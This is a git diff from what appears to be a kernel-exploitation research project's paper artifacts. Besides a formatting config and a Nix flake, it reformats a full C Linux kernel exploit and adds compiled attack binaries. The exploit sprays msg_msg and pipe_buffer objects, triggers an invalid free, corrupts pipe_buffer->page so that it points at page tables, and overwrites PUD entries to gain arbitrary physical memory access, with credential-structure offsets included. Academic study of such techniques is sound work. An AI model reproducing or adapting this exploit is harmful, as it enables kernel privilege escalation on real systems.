diff --git a/code/.clang-format b/code/.clang-format new file mode 100644 index 000000000..e1c9fe0c3 --- /dev/null +++ b/code/.clang-format @@ -0,0 +1,200 @@ +# Basic .clang-format +--- +BasedOnStyle: WebKit +AlignAfterOpenBracket: DontAlign +AlignConsecutiveMacros: AcrossEmptyLines +AlignConsecutiveAssignments: false +AlignConsecutiveDeclarations: false +AlignEscapedNewlines: Left +AlignOperands: false +AlignTrailingComments: true +AllowAllArgumentsOnNextLine: false +AllowAllParametersOfDeclarationOnNextLine: false +AllowShortBlocksOnASingleLine: Never +AllowShortCaseLabelsOnASingleLine: false +AllowShortFunctionsOnASingleLine: InlineOnly +AllowShortIfStatementsOnASingleLine: Never +AllowShortLoopsOnASingleLine: false +AlwaysBreakAfterReturnType: TopLevelDefinitions +AlwaysBreakBeforeMultilineStrings: false +AlwaysBreakTemplateDeclarations: MultiLine +BinPackArguments: true +BinPackParameters: true +BreakBeforeBinaryOperators: None +BreakBeforeBraces: WebKit +BreakBeforeTernaryOperators: false +# TODO: BreakStringLiterals can cause very strange formatting so turn it off? +BreakStringLiterals: false +# Prefer: +# some_var = function(arg1, +# arg2) +# over: +# some_var = +# function(arg1, arg2) +PenaltyBreakAssignment: 100 +# Prefer: +# some_long_function(arg1, arg2 +# arg3) +# over: +# some_long_function( +# arg1, arg2, arg3) +PenaltyBreakBeforeFirstCallParameter: 100 +CompactNamespaces: true +DerivePointerAlignment: false +DisableFormat: false +ForEachMacros: + - ARB_ARRFOREACH + - ARB_ARRFOREACH_REVWCOND + - ARB_ARRFOREACH_REVERSE + - ARB_FOREACH + - ARB_FOREACH_FROM + - ARB_FOREACH_SAFE + - ARB_FOREACH_REVERSE + - ARB_FOREACH_REVERSE_FROM + - ARB_FOREACH_REVERSE_SAFE + - BIT_FOREACH_ISCLR + - BIT_FOREACH_ISSET + - CPU_FOREACH + - CPU_FOREACH_ISCLR + - CPU_FOREACH_ISSET + - FOREACH_THREAD_IN_PROC + - FOREACH_PROC_IN_SYSTEM + - FOREACH_PRISON_CHILD + - FOREACH_PRISON_DESCENDANT + - FOREACH_PRISON_DESCENDANT_LOCKED + - FOREACH_PRISON_DESCENDANT_LOCKED_LEVEL + - MNT_VNODE_FOREACH_ALL + - MNT_VNODE_FOREACH_ACTIVE + - RB_FOREACH + - RB_FOREACH_FROM + - RB_FOREACH_SAFE + - RB_FOREACH_REVERSE + - RB_FOREACH_REVERSE_FROM + - RB_FOREACH_REVERSE_SAFE + - SLIST_FOREACH + - SLIST_FOREACH_FROM + - SLIST_FOREACH_FROM_SAFE + - SLIST_FOREACH_SAFE + - SLIST_FOREACH_PREVPTR + - SPLAY_FOREACH + - LIST_FOREACH + - LIST_FOREACH_FROM + - LIST_FOREACH_FROM_SAFE + - LIST_FOREACH_SAFE + - STAILQ_FOREACH + - STAILQ_FOREACH_FROM + - STAILQ_FOREACH_FROM_SAFE + - STAILQ_FOREACH_SAFE + - TAILQ_FOREACH + - TAILQ_FOREACH_FROM + - TAILQ_FOREACH_FROM_SAFE + - TAILQ_FOREACH_REVERSE + - TAILQ_FOREACH_REVERSE_FROM + - TAILQ_FOREACH_REVERSE_FROM_SAFE + - TAILQ_FOREACH_REVERSE_SAFE + - TAILQ_FOREACH_SAFE + - VM_MAP_ENTRY_FOREACH + - VM_PAGE_DUMP_FOREACH +SpaceBeforeParens: ControlStatementsExceptForEachMacros +IndentCaseLabels: false +IndentPPDirectives: None +Language: Cpp +NamespaceIndentation: None +PointerAlignment: Right +ContinuationIndentWidth: 4 +IndentWidth: 8 +TabWidth: 8 +ColumnLimit: 80 +UseTab: Always +SpaceAfterCStyleCast: false +IncludeBlocks: Regroup +IncludeCategories: + - Regex: '^\"opt_.*\.h\"' + Priority: 1 + SortPriority: 10 + - Regex: '^' + Priority: 2 + SortPriority: 20 + - Regex: '^' + Priority: 2 + SortPriority: 21 + - Regex: '^' + Priority: 2 + SortPriority: 22 + - Regex: '^' + Priority: 2 + SortPriority: 23 + - Regex: '^' + Priority: 3 + SortPriority: 30 + - Regex: '^ -#include -#include -#include #define _GNU_SOURCE -#include +#include +#include + +#include #include +#include +#include + +#include "msg_msg.h" +#include "pgtable.h" +#include "pipe_buffer.h" +#include "tlb_flush.h" +#include "ulkm.h" +#include "utils.h" // #define ANON_PIPE_BUF_OPS_OFFSET 0x1648cc0 // v6.8 #define ANON_PIPE_BUF_OPS_OFFSET 0x1448280 // v6.6 @@ -19,7 +21,7 @@ #define RESTORE #define TASK_STRUCT_SLAB_ORDER 3 -#define TASK_STRUCT_SIZE 10496 +#define TASK_STRUCT_SIZE 10496 // #define TASK_STRUCT_COMM_OFFSET 3008 #define TASK_STRUCT_COMM_OFFSET 3016 // #define TASK_STRUCT_PID_OFFSET 2464 @@ -29,38 +31,38 @@ // #define TASK_STRUCT_REAL_CRED_OFFSET 2984 #define TASK_STRUCT_REAL_CRED_OFFSET 2992 // #define TASK_STRUCT_CRED_OFFSET 2992 -#define TASK_STRUCT_CRED_OFFSET 3000 +#define TASK_STRUCT_CRED_OFFSET 3000 -#define CRED_UID_GID_OFFSET 8 -#define CRED_SUID_SGID_OFFSET 16 -#define CRED_EUID_EGID_OFFSET 24 -#define CRED_FSUID_FSGID_OFFSET 32 +#define CRED_UID_GID_OFFSET 8 +#define CRED_SUID_SGID_OFFSET 16 +#define CRED_EUID_EGID_OFFSET 24 +#define CRED_FSUID_FSGID_OFFSET 32 #define CRED_CAP_INHERITABLE_OFFSET 48 -#define CRED_CAP_PERMITTED_OFFSET 56 -#define CRED_CAP_EFFECTIVE_OFFSET 64 -#define CRED_CAP_BSET_OFFSET 72 -#define CRED_CAP_AMBIENT_OFFSET 80 +#define CRED_CAP_PERMITTED_OFFSET 56 +#define CRED_CAP_EFFECTIVE_OFFSET 64 +#define CRED_CAP_BSET_OFFSET 72 +#define CRED_CAP_AMBIENT_OFFSET 80 -#define PAGE_SIZE (1<<12) +#define PAGE_SIZE (1 << 12) -#define OBJ_PER_SLAB 42 +#define OBJ_PER_SLAB 42 -#define MSG_SPRAYS (OBJ_PER_SLAB*40) -#define MSG_FREE (MSG_SPRAYS-2*OBJ_PER_SLAB) -#define MSG_TYPE 0x41 -#define MSG_HEADER 48 -#define MSG_NEXT_HEADER 8 -#define __MSG_SIZE 96 -#define MSG_SIZE (__MSG_SIZE-MSG_HEADER) +#define MSG_SPRAYS (OBJ_PER_SLAB * 40) +#define MSG_FREE (MSG_SPRAYS - 2 * OBJ_PER_SLAB) +#define MSG_TYPE 0x41 +#define MSG_HEADER 48 +#define MSG_NEXT_HEADER 8 +#define __MSG_SIZE 96 +#define MSG_SIZE (__MSG_SIZE - MSG_HEADER) -#define MSG_SPRAYS2 (OBJ_PER_SLAB*4) -#define MSG_TYPE2 0x42 -#define __MSG_SIZE2 (4096+__MSG_SIZE) -#define MSG_SIZE2 (__MSG_SIZE2-MSG_HEADER-MSG_NEXT_HEADER) +#define MSG_SPRAYS2 (OBJ_PER_SLAB * 4) +#define MSG_TYPE2 0x42 +#define __MSG_SIZE2 (4096 + __MSG_SIZE) +#define MSG_SIZE2 (__MSG_SIZE2 - MSG_HEADER - MSG_NEXT_HEADER) -#define PIPE_SPRAY (OBJ_PER_SLAB*4) -#define PIPE_SIZE 40 -#define PIPE_CNT 1 +#define PIPE_SPRAY (OBJ_PER_SLAB * 4) +#define PIPE_SIZE 40 +#define PIPE_CNT 1 int qids[MSG_SPRAYS]; int qids2[MSG_SPRAYS2]; @@ -79,325 +81,359 @@ char page_content_org[sizeof(buffer)]; int pipes[PIPE_SPRAY][2]; -void cleanup(void) +void +cleanup(void) { - printf("[*] cleanup\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - cleanup_queue(qids[i]); - for (size_t i = 0; i < MSG_SPRAYS2; ++i) - if (i != overlayed_id) - cleanup_queue_no_err(qids2[i]); + printf("[*] cleanup\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + cleanup_queue(qids[i]); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + if (i != overlayed_id) + cleanup_queue_no_err(qids2[i]); } size_t pipe_buffer; -void stage1(void) +void +stage1(void) { - msg *message = (msg *)buffer; - message->mtype = MSG_TYPE; + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE; - printf("[*] alloc msg_queue\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + printf("[*] alloc msg_queue\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + qids[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); - printf("[*] alloc msg_msg\n"); - for (size_t i = 0; i < MSG_SPRAYS; ++i) - send_msg(qids[i], message, MSG_SIZE, 0); + printf("[*] alloc msg_msg\n"); + for (size_t i = 0; i < MSG_SPRAYS; ++i) + send_msg(qids[i], message, MSG_SIZE, 0); - lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE); - printf("[+] leaked msg_msg %016zx\n", msg_msg); + lkm_msg_msg_leak((size_t)&msg_msg, qids[MSG_FREE], MSG_TYPE); + printf("[+] leaked msg_msg %016zx\n", msg_msg); - printf("[*] free msg_msg\n"); - memset(buffer, 0x41, sizeof(buffer)); - // free all all but 1 of the current slab - // creates all free slots on the slot except one - // except one because to prevent returning the partial slab to the page allocator (unlikely but may be) - for (ssize_t i = -OBJ_PER_SLAB*2; i < OBJ_PER_SLAB; ++i) - get_msg(qids[MSG_FREE+i], message, MSG_SIZE, 0, IPC_NOWAIT); - for (size_t i = 0; i < PIPE_SPRAY; ++i) { - alloc_pipes(pipes[i], O_NONBLOCK); - resize_pipe(pipes[i][0], 2); - write_pipe(pipes[i][1], buffer, 8); - } - printf("[*] reclaimed as pipe_buffer\n"); - pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE; - printf("[+] pipe_buffer %016zx\n", pipe_buffer); + printf("[*] free msg_msg\n"); + memset(buffer, 0x41, sizeof(buffer)); + // free all all but 1 of the current slab + // creates all free slots on the slot except one + // except one because to prevent returning the partial slab to the + // page allocator (unlikely but may be) + for (ssize_t i = -OBJ_PER_SLAB * 2; i < OBJ_PER_SLAB; ++i) + get_msg(qids[MSG_FREE + i], message, MSG_SIZE, 0, IPC_NOWAIT); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + alloc_pipes(pipes[i], O_NONBLOCK); + resize_pipe(pipes[i][0], 2); + write_pipe(pipes[i][1], buffer, 8); + } + printf("[*] reclaimed as pipe_buffer\n"); + pipe_buffer = (msg_msg & ~0xfff) + __MSG_SIZE; + printf("[+] pipe_buffer %016zx\n", pipe_buffer); #ifdef DEBUG - printf("[*] pipe_buffer:\n"); - for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { - size_t tmp; - lkm_read(pipe_buffer+i, (size_t)&tmp); - printf("%016zx\n", tmp); - } + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer + i, (size_t)&tmp); + printf("%016zx\n", tmp); + } #endif } size_t vmemmap_pud; #ifdef RESTORE char pipe_buffer_old_content[PIPE_SIZE]; -void save_pipe_buffer_state(void) +void +save_pipe_buffer_state(void) { - for (size_t i = 0; i < PIPE_SIZE; i += 8) - lkm_read(pipe_buffer+i, (size_t)&pipe_buffer_old_content[i]); - printf("[*] temporarily store pipe_buffer content\n"); + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_read(pipe_buffer + i, (size_t)&pipe_buffer_old_content[i]); + printf("[*] temporarily store pipe_buffer content\n"); } -void restore_pipe_buffer_state(void) +void +restore_pipe_buffer_state(void) { - for (size_t i = 0; i < PIPE_SIZE; i += 8) - lkm_write(pipe_buffer+i, *(size_t *)(pipe_buffer_old_content + i)); - printf("[*] store old pipe_buffer content\n"); + for (size_t i = 0; i < PIPE_SIZE; i += 8) + lkm_write(pipe_buffer + i, + *(size_t *)(pipe_buffer_old_content + i)); + printf("[*] store old pipe_buffer content\n"); } #else -void save_pipe_buffer_state(void) {} -void restore_pipe_buffer_state(void) {} +void +save_pipe_buffer_state(void) +{ +} +void +restore_pipe_buffer_state(void) +{ +} #endif size_t address; size_t pud; -void stage2(void) +void +stage2(void) { - printf("[*] leak pud\n"); - address = (void *)mmap((void *)((1ULL<<39)|255*(1ULL<<30)), PAGE_SIZE, PROT_WRITE|PROT_READ, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0); - if ((void *)address == MAP_FAILED) { - perror("mmap()"); - exit(-1); - } - *(volatile size_t *)address; - size_t pgde; - size_t pude; - size_t pmde; - size_t pte; - lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte); - pud = dpm_base + (pgde & ~(0xfff)); - printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, pgde, pude, pmde, pte); - printf("[*] pud %016zx\n", pud); + printf("[*] leak pud\n"); + address = (void *)mmap((void *)((1ULL << 39) | 255 * (1ULL << 30)), + PAGE_SIZE, PROT_WRITE | PROT_READ, + MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); + if ((void *)address == MAP_FAILED) { + perror("mmap()"); + exit(-1); + } + *(volatile size_t *)address; + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald(address, &pgde, &pude, &pmde, &pte); + pud = dpm_base + (pgde & ~(0xfff)); + printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", address, + pgde, pude, pmde, pte); + printf("[*] pud %016zx\n", pud); } struct pipe_buffer { - size_t page; - unsigned int len; - unsigned int offset; - size_t ops; - unsigned int flags; - size_t private; + size_t page; + unsigned int len; + unsigned int offset; + size_t ops; + unsigned int flags; + size_t private; }; #define PHYS_TO_VMEMMAP(x) ((((x) >> 12) << 6) + vmemmap_base) -#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base) -void stage3(void) +#define DPM_TO_VMEMMAP(x) PHYS_TO_VMEMMAP((x) - dpm_base) +void +stage3(void) { - vmemmap_pud = DPM_TO_VMEMMAP(pud); - save_pipe_buffer_state(); + vmemmap_pud = DPM_TO_VMEMMAP(pud); + save_pipe_buffer_state(); - memset(buffer, 0, sizeof(buffer)); + memset(buffer, 0, sizeof(buffer)); - msg *message = (msg *)buffer; - message->mtype = MSG_TYPE2; - printf("[*] alloc queues for reclaiming invalid free\n"); - for (size_t i = 0; i < MSG_SPRAYS2; ++i) - qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); + msg *message = (msg *)buffer; + message->mtype = MSG_TYPE2; + printf("[*] alloc queues for reclaiming invalid free\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + qids2[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); - printf("[*] invalid free at %016zx\n", pipe_buffer-8); - lkm_arb_free(pipe_buffer-8); + printf("[*] invalid free at %016zx\n", pipe_buffer - 8); + lkm_arb_free(pipe_buffer - 8); - printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud); - struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); - memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer)); - corr_pipe_buffer->page = vmemmap_pud; - corr_pipe_buffer->offset = 8; - corr_pipe_buffer->len = 15; - corr_pipe_buffer->ops = code_base+ANON_PIPE_BUF_OPS_OFFSET; - corr_pipe_buffer->flags = 0x10; - for (size_t i = 0; i < MSG_SPRAYS2; ++i) - send_msg(qids2[i], message, MSG_SIZE2, 0); + printf("[*] overwrite pipe_buffer->page with %016zx\n", vmemmap_pud); + struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + + 8 + 4096 - MSG_HEADER); + memset(corr_pipe_buffer, 0, sizeof(struct pipe_buffer)); + corr_pipe_buffer->page = vmemmap_pud; + corr_pipe_buffer->offset = 8; + corr_pipe_buffer->len = 15; + corr_pipe_buffer->ops = code_base + ANON_PIPE_BUF_OPS_OFFSET; + corr_pipe_buffer->flags = 0x10; + for (size_t i = 0; i < MSG_SPRAYS2; ++i) + send_msg(qids2[i], message, MSG_SIZE2, 0); #ifdef DEBUG - printf("[*] pipe_buffer:\n"); - for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { - size_t tmp; - lkm_read(pipe_buffer+i, (size_t)&tmp); - printf("%016zx\n", tmp); - } + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer + i, (size_t)&tmp); + printf("%016zx\n", tmp); + } #endif } -void pud_print(void) +void +pud_print(void) { - printf("[*] print pud\n"); - for (size_t i = 0; i < 16*8; i += 8) { - size_t tmp; - lkm_read(pud+i, (size_t)&tmp); - printf("%016zx: %016zx\n", pud+i, tmp); - } + printf("[*] print pud\n"); + for (size_t i = 0; i < 16 * 8; i += 8) { + size_t tmp; + lkm_read(pud + i, (size_t)&tmp); + printf("%016zx: %016zx\n", pud + i, tmp); + } } -#define IS_VMEMMAP(x) (((x) & ~((1<<30)-1)) == vmemmap_base) +#define IS_VMEMMAP(x) (((x) & ~((1 << 30) - 1)) == vmemmap_base) size_t page_fd = -1; size_t pivot_addr; -void stage4(void) +void +stage4(void) { - size_t count = 0; - printf("[*] find overwritten pipe_buffer\n"); - for (size_t i = 0; i < PIPE_SPRAY; ++i) { - memset(buffer, 0, sizeof(buffer)); - read_pipe(pipes[i][0], buffer, 7); - if (buffer[0] != 0x41) { - buffer[7] = -1; - count++; - page_fd = i; - printf("[+] found pipe_buffer fd %4zd\n", page_fd); - if (IS_VMEMMAP(*(size_t *)(buffer))) { - printf("[+] found page %016zx\n", *(size_t *)(buffer)); - continue; - } - } - } + size_t count = 0; + printf("[*] find overwritten pipe_buffer\n"); + for (size_t i = 0; i < PIPE_SPRAY; ++i) { + memset(buffer, 0, sizeof(buffer)); + read_pipe(pipes[i][0], buffer, 7); + if (buffer[0] != 0x41) { + buffer[7] = -1; + count++; + page_fd = i; + printf("[+] found pipe_buffer fd %4zd\n", page_fd); + if (IS_VMEMMAP(*(size_t *)(buffer))) { + printf("[+] found page %016zx\n", + *(size_t *)(buffer)); + continue; + } + } + } - if (page_fd == (size_t)-1 || count != 1) { - printf("[!] count %zd\n", count); - printf("[!] page_fd %016zx\n", page_fd); - restore_pipe_buffer_state(); - exit(-1); - } + if (page_fd == (size_t)-1 || count != 1) { + printf("[!] count %zd\n", count); + printf("[!] page_fd %016zx\n", page_fd); + restore_pipe_buffer_state(); + exit(-1); + } - printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n"); - for (size_t i = 0; i < MSG_SPRAYS2; ++i) { - memset(buffer, 0, sizeof(buffer)); - get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY|IPC_NOWAIT); - struct pipe_buffer *corr_pipe_buffer = (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); - if (corr_pipe_buffer->offset != 8 || corr_pipe_buffer->len != 15) { - printf("[+] found overlayed msg_msg %zd\n", i); - overlayed_id = i; - } - } + printf("[*] find msg_msg that overlays the corrupted pipe_buffer\n"); + for (size_t i = 0; i < MSG_SPRAYS2; ++i) { + memset(buffer, 0, sizeof(buffer)); + get_msg(qids2[i], buffer, MSG_SIZE2, 0, MSG_COPY | IPC_NOWAIT); + struct pipe_buffer *corr_pipe_buffer = + (struct pipe_buffer *)(buffer + 8 + 4096 - MSG_HEADER); + if (corr_pipe_buffer->offset != 8 || + corr_pipe_buffer->len != 15) { + printf("[+] found overlayed msg_msg %zd\n", i); + overlayed_id = i; + } + } #ifdef DEBUG - printf("[*] pipe_buffer:\n"); - for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { - size_t tmp; - lkm_read(pipe_buffer+i, (size_t)&tmp); - printf("%016zx\n", tmp); - } + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer + i, (size_t)&tmp); + printf("%016zx\n", tmp); + } #endif - printf("[*] write to pud\n"); - char _cor_pude[16*8+1]; - memset(_cor_pude, 0, sizeof(_cor_pude)); - for (size_t i = 0; i < 16; ++i) { - *(size_t *)(_cor_pude + 1 + 8*i) = PAGE_TABLE_LARGE + i*(1ULL << 30) + (4ULL << 30); - } - write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16*8); + printf("[*] write to pud\n"); + char _cor_pude[16 * 8 + 1]; + memset(_cor_pude, 0, sizeof(_cor_pude)); + for (size_t i = 0; i < 16; ++i) { + *(size_t *)(_cor_pude + 1 + 8 * i) = PAGE_TABLE_LARGE + + i * (1ULL << 30) + (4ULL << 30); + } + write_pipe(pipes[page_fd][1], (void *)_cor_pude, 16 * 8); - pivot_addr = ((1ULL<<39)|3*(1ULL<<30)); - size_t pgde; - size_t pude; - size_t pmde; - size_t pte; - lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte); - printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, pgde, pude, pmde, pte); + pivot_addr = ((1ULL << 39) | 3 * (1ULL << 30)); + size_t pgde; + size_t pude; + size_t pmde; + size_t pte; + lkm_arb_pagetable_wald(pivot_addr, &pgde, &pude, &pmde, &pte); + printf("[*] %016zx: %016zx -> %016zx -> %016zx -> %016zx\n", pivot_addr, + pgde, pude, pmde, pte); #ifdef DEBUG - pud_print(); - printf("[*] pipe_buffer:\n"); - for (ssize_t i = 0; i < PIPE_SIZE+__MSG_SIZE; i += 8) { - size_t tmp; - lkm_read(pipe_buffer+i, (size_t)&tmp); - printf("%016zx\n", tmp); - } + pud_print(); + printf("[*] pipe_buffer:\n"); + for (ssize_t i = 0; i < PIPE_SIZE + __MSG_SIZE; i += 8) { + size_t tmp; + lkm_read(pipe_buffer + i, (size_t)&tmp); + printf("%016zx\n", tmp); + } #endif } size_t old_pt; size_t *arb_pt = (size_t *)-1; char *arb_page = (char *)-1; -void stage5(void) +void +stage5(void) { - for (size_t try = 0; try < 0x10; ++try) { - char buf[PAGE_SIZE]; - char *ptr = mmap((void *)((1ULL << 46)|(1ULL<<39)*try), (1<<30), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); - if (ptr == MAP_FAILED) { - perror("mmap"); - cleanup(); - restore_pipe_buffer_state(); - exit(-1); - } - size_t mapping_space = (16ULL<<30); + for (size_t try = 0; try < 0x10; ++try) { + char buf[PAGE_SIZE]; + char *ptr = mmap((void *)((1ULL << 46) | (1ULL << 39) * try), + (1 << 30), PROT_READ | PROT_WRITE, + MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0); + if (ptr == MAP_FAILED) { + perror("mmap"); + cleanup(); + restore_pipe_buffer_state(); + exit(-1); + } + size_t mapping_space = (16ULL << 30); - printf("[*] init pt already mapped\n"); - char *pt_already_mapped = malloc(mapping_space/PAGE_SIZE); - memset(pt_already_mapped, 0, mapping_space/PAGE_SIZE); - for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) - if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE) - pt_already_mapped[i] = 1; + printf("[*] init pt already mapped\n"); + char *pt_already_mapped = malloc(mapping_space / PAGE_SIZE); + memset(pt_already_mapped, 0, mapping_space / PAGE_SIZE); + for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i) + if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == + PTE) + pt_already_mapped[i] = 1; - printf("[*] map a lot of page tables\n"); - for (size_t i = 0; i < (1<<30); i += (1<<21)) - memset(ptr + i, 0x46, PAGE_SIZE); + printf("[*] map a lot of page tables\n"); + for (size_t i = 0; i < (1 << 30); i += (1 << 21)) + memset(ptr + i, 0x46, PAGE_SIZE); - printf("[*] show where new page tables are\n"); - for (size_t i = 0; i < mapping_space/PAGE_SIZE; ++i) { - if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == PTE && pt_already_mapped[i] == 0) { - printf("[+] found pt at %ld with %016zx\n", i, *(size_t *)(pivot_addr + PAGE_SIZE * i)); - arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i); - old_pt = *arb_pt; - *arb_pt = PTE; - break; - } - } + printf("[*] show where new page tables are\n"); + for (size_t i = 0; i < mapping_space / PAGE_SIZE; ++i) { + if ((*(size_t *)(pivot_addr + PAGE_SIZE * i) & PTE) == + PTE && + pt_already_mapped[i] == 0) { + printf("[+] found pt at %ld with %016zx\n", i, + *(size_t *)(pivot_addr + PAGE_SIZE * i)); + arb_pt = (size_t *)(pivot_addr + PAGE_SIZE * i); + old_pt = *arb_pt; + *arb_pt = PTE; + break; + } + } - memset(buf, 0x46, PAGE_SIZE); - for (size_t i = 0; i < (1<<30); i += (1<<21)) { - if (memcmp(ptr + i, buf, PAGE_SIZE)) { - arb_page = ptr + i; - printf("[+] found page %016zx\n", (size_t)arb_page); - break; - } - } - if (arb_page != (char *)-1) - break; - printf("[?] arbitrary page not found -> retry\n"); - } - if (arb_page == (char *)-1) { - printf("[!] arbitrary page not found\n"); - cleanup(); - restore_pipe_buffer_state(); - exit(-1); - } - printf("[+] success\n"); + memset(buf, 0x46, PAGE_SIZE); + for (size_t i = 0; i < (1 << 30); i += (1 << 21)) { + if (memcmp(ptr + i, buf, PAGE_SIZE)) { + arb_page = ptr + i; + printf("[+] found page %016zx\n", + (size_t)arb_page); + break; + } + } + if (arb_page != (char *)-1) + break; + printf("[?] arbitrary page not found -> retry\n"); + } + if (arb_page == (char *)-1) { + printf("[!] arbitrary page not found\n"); + cleanup(); + restore_pipe_buffer_state(); + exit(-1); + } + printf("[+] success\n"); } -int main(void) +int +main(void) { - int ret = 0; - pin_to_core(0); - set_limit(); - printf("[*] start\n"); - setvbuf(stdout, NULL, _IONBF, 0); - setvbuf(stdin, NULL, _IONBF, 0); - setvbuf(stderr, NULL, _IONBF, 0); + int ret = 0; + pin_to_core(0); + set_limit(); + printf("[*] start\n"); + setvbuf(stdout, NULL, _IONBF, 0); + setvbuf(stdin, NULL, _IONBF, 0); + setvbuf(stderr, NULL, _IONBF, 0); - init_tlb_flush(); - get_total_memory(); + init_tlb_flush(); + get_total_memory(); - lkm_init(); + lkm_init(); - lkm_virt_base_leak((size_t)&virt_base); - lkm_vmemmap_leak((size_t)&vmemmap_base); - lkm_dpm_leak((size_t)&dpm_base); - lkm_code_leak((size_t)&code_base); - printf("[*] virt_base %016zx\n", virt_base); - printf("[*] vmemmap_base %016zx\n", vmemmap_base); - printf("[*] dpm_base %016zx\n", dpm_base); - printf("[*] code_base %016zx\n", code_base); + lkm_virt_base_leak((size_t)&virt_base); + lkm_vmemmap_leak((size_t)&vmemmap_base); + lkm_dpm_leak((size_t)&dpm_base); + lkm_code_leak((size_t)&code_base); + printf("[*] virt_base %016zx\n", virt_base); + printf("[*] vmemmap_base %016zx\n", vmemmap_base); + printf("[*] dpm_base %016zx\n", dpm_base); + printf("[*] code_base %016zx\n", code_base); - stage1(); - stage2(); - stage3(); - stage4(); - stage5(); + stage1(); + stage2(); + stage3(); + stage4(); + stage5(); - cleanup(); - restore_pipe_buffer_state(); - printf("[*] done\n"); - return ret; -} \ No newline at end of file + cleanup(); + restore_pipe_buffer_state(); + printf("[*] done\n"); + return ret; +} diff --git a/paper/artifacts/attacks/advanced_slubstick.elf b/paper/artifacts/attacks/advanced_slubstick.elf new file mode 100755 index 000000000..cccfe4e5b Binary files /dev/null and b/paper/artifacts/attacks/advanced_slubstick.elf differ diff --git a/paper/artifacts/attacks/dirty_page.elf b/paper/artifacts/attacks/dirty_page.elf new file mode 100755 index 000000000..3031be18b Binary files /dev/null and b/paper/artifacts/attacks/dirty_page.elf differ diff --git a/paper/artifacts/attacks/pipe_unlink.elf b/paper/artifacts/attacks/pipe_unlink.elf new file mode 100755 index 000000000..28fc1c381 Binary files /dev/null and b/paper/artifacts/attacks/pipe_unlink.elf differ diff --git a/paper/artifacts/attacks/stack_attack.elf b/paper/artifacts/attacks/stack_attack.elf new file mode 100755 index 000000000..a55d7c83c Binary files /dev/null and b/paper/artifacts/attacks/stack_attack.elf differ diff --git a/flake.lock b/paper/artifacts/flake.lock similarity index 100% rename from flake.lock rename to paper/artifacts/flake.lock diff --git a/paper/artifacts/flake.nix b/paper/artifacts/flake.nix new file mode 100644 index 000000000..f1b4b1391 --- /dev/null +++ b/paper/artifacts/flake.nix @@ -0,0 +1,23 @@ +{ + inputs = { + nixpkgs.url = "github:nixos/nixpkgs/nixpkgs-unstable"; + flake-utils.url = "github:numtide/flake-utils"; + }; + + outputs = { nixpkgs, flake-utils, ... }: flake-utils.lib.eachSystem [ + "x86_64-linux" "i686-linux" "aarch64-linux" "x86_64-darwin" + ] (system: let + pkgs = import nixpkgs { + inherit system; + }; + in { + devShells.default = pkgs.mkShell { + packages = with pkgs; [ + pkg-config + clang-tools + clang + libgcc + ]; + }; + }); +} diff --git a/paper/artifacts/generic/dpm_leak.elf b/paper/artifacts/generic/dpm_leak.elf new file mode 100755 index 000000000..45088f7d3 Binary files /dev/null and b/paper/artifacts/generic/dpm_leak.elf differ diff --git a/paper/artifacts/generic/msg_cleanup.elf b/paper/artifacts/generic/msg_cleanup.elf new file mode 100755 index 000000000..51f0455c9 Binary files /dev/null and b/paper/artifacts/generic/msg_cleanup.elf differ diff --git a/paper/artifacts/generic/page_type_diff.elf b/paper/artifacts/generic/page_type_diff.elf new file mode 100755 index 000000000..d15b4ac5f Binary files /dev/null and 